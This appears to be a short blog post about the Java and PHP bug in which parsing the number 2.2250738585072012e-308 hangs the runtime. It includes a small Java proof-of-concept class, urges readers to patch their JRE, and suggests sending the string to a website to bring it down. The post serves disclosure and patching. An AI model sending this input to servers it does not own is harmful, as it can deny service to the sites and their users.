As explained @exploringbinary.com, try following code to get your runtime hanged.

 public class DoubleBug {
      private static void hangRunTime()
      {
          System.out.println("Test:");
          double d = Double.parseDouble("2.2250738585072012e-308");
          System.out.println("Value: " + d);
      }
      public static void hangCompiler()
      {
          //double d = 2.2250738585072012e-308;
          //System.out.println("Value: " + d);
      }
      public static void main(String args[])
      {
         hangRunTime();
      }
}<span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span>

Oracle has already released a patch for this and quite interestingly the fix for this was just one keyword addition. Get your jre patched. BTW, this is a PHP bug as well. So in the meantime, you can try bringing down your own website, by sending the String (assuming the server does a double conversion)
